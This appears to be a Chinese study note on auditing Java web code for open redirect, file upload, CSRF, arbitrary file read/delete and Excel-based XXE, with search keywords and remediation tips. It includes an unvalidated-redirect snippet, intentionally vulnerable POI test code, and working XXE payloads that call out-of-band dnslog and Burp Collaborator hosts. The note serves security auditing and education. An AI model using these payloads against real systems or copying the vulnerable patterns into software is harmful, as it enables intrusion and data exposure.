URL重定向
@RequestMapping("/redirect")
public String listUser(HttpServletRequest request,Model model) {
String url = request.getParameter("url");
return "redirect:"+url;
}
private String getRedirectUrl(String path) throws Exception {
HttpURLConnection conn = (HttpURLConnection) new URL(path)
.openConnection();
conn.setInstanceFollowRedirects(false);
conn.setConnectTimeout(5000);
return conn.getHeaderField("Location");
}
}
可以看到关键词比较明显,搜索getHeaderField和redirect或者getRedirectLocations
或者搜索 sendRedirect、setHeader、forward
URL重定不一样的地方
不过URL重定向不应该是只限于代码层面
比如JS,HTML的操作都能进行URL重定向。
文件上传/任意文件写入
文件上传常出现的地方第一个是jar包,第二个是xml配置文件,第三个是spring注解,并且关键字比较明显
Upload
Save()
DiskFileItemFactory
“文件上传”
“保存成功”
String ext
String filename
mkdirs()
saveFile()
write(
bufferedWriter
FileOutputStream
lastindexof
indexof
multipartfile
MultipartHttpServletRequest
randomuuid
FileUpLoad
RandomAccessFile
org.apache.commons.fileupload
以及还有一个比较值得注意的就是解压操作
unzip
AntZipUtils.unzip
大概就这么多吧,后面有遇到会再补充的
(面试问题)杂类漏洞之文件上传修复
面试甲方发现很爱问漏洞怎么修复,包括文件上传,因此做一个应付文件上传回答的答案:
包括字节二面,是个妹子,主要问了项目事情和少量的技术问题,就问到了这个
前提条件:一个普普通通能够上传文件的地方
1、前段限制文件上传的后缀——方便普通的用户来进行使用,并且规范用户使用
2、后端限制文件上传的后缀,做白名单的校验,不要做黑名单,黑名单存在被绕过的可能性以及太多意外的事。
3、可能存在00截断的安全风险,那PHP5.3.4修复了这个问题,那JDK1.7.40之下也存在00截断的风险,
4、以及常见的IIS解析漏洞(版本问题),apache解析漏洞(版本问题),nginx解析漏洞(配置不当)
5、以及存储桶漏洞,很多都爱用云存储来存储图片或资源,那涉及到的可能会是一些存储桶类的漏洞,例如文件覆写,删除,非私有资源列展示,静态文件敏感被下载等问题。
6、文件名的随机化,防止利用文件名来进行DOS,或XSS,以及目录穿越覆盖文件
7、有些后端是对图片文件内容有解析和识别的,那么可能会产生后端XSS漏洞,imagemagic漏洞等
8、具体文件上传后缀的一些特性来确定,例如上传zip,上传XLS,CSV,PDF,都有自己的一些漏洞。
9、文件内容的限制,如果没有对图片或者资源大小做限制,或者限制特别大的话,可能会远超自己的负载能力。
10、针对windows可能还需要进行去除空格防止绕过。
文件名重定向漏洞
java文件重命名没有什么特殊的,基本上就是构造一个renameFile类,然后调用这个工具类来进行文件重命名,基本上就是寻找oldfile,newfile ,oldname,newname这样的参数吧,然后多关注一下NEW FILE实例化的地方。
CSRF漏洞
CSRF对于一般的web应用程序非常常见,因为它对于一些非敏感场景下还是比较鸡肋的。
一般修复CSRF都是直接放一个拦截器
搜索getHeader(“CSRFToken”) getHeader(“Token”)等字段
拦截器配置
<mvc:interceptors> //csrf攻击防御
<mvc:interceptor>
<mvc:mapping path="/**" /> //需拦截的地址
<mvc:exclude-mapping path="/resources/**" /> //需排除拦截的地址
<bean class="com.interceptor.CSRFInterceptor" /> //相关代码类
</mvc:interceptor>
</mvc:interceptors>
spring security自带CSRF防护
任意文件下载/删除/读取
任意文件读取
FileInputStream
FileReader
任意文件下载与任意文件读取差不多,区别就是Response设置了
response.setHeader("content-disposition", "attachment;fileName=" + filename);
任意文件删除
delete()
发现基本上都是用的这个函数
EXCEL和XXE
现代Excel文件实际上只是XML文档的zip文件 ,后缀名为XLSX
XLS是不存在这种漏洞的
java处理该请求的类库
XSSFReader
XSSFWorkbook
1、poi-ooxml-poi-ooxml-3.10-FINAL.jar及以下版本修复——升级poi-ooxml.jar到3.16或以上版本。
public class Test {
public static void main(String[] args) throws IOException {
File f = new File("C:\\Users\\dell\\Desktop\\ALL\\javaidea\\java-excel-xxe\\test.xlsx");
FileInputStream in = new FileInputStream(f);
XSSFWorkbook wb = new XSSFWorkbook(in); // xxe vuln
XSSFSheet sheet = wb.getSheetAt(0);
int total = sheet.getLastRowNum();
for (Row row : sheet){
for (Cell cell :row){
System.out.println(cell.getStringCellValue());
}
System.out.println("expection");
}
}
}
利用
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % xxe SYSTEM "http://fu0ef4.dnslog.cn">
%xxe;
]>
或者是直接用burp
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://xz09degg7d54jhcvdt3fwad5bwhm5b.burpcollaborator.net"> ]>
<x>&xxe;</x>
2、xlsx-streamer.jar-2.0.0及以下版本
public class Test2 {
public static void main(String[] args) throws FileNotFoundException {
File f = new File("C:\\Users\\dell\\Desktop\\ALL\\javaidea\\java-excel-xxe\\xlsx_streamer_xxe.xlsx");
FileInputStream fileInputStream = new FileInputStream(f);
Workbook workbook = StreamingReader.builder().open(fileInputStream);
Sheet sheet = workbook.getSheetAt(0);
for (Row row : sheet){
for (Cell cell :row){
System.out.println(cell.getStringCellValue());
}
System.out.println("");
}
}
}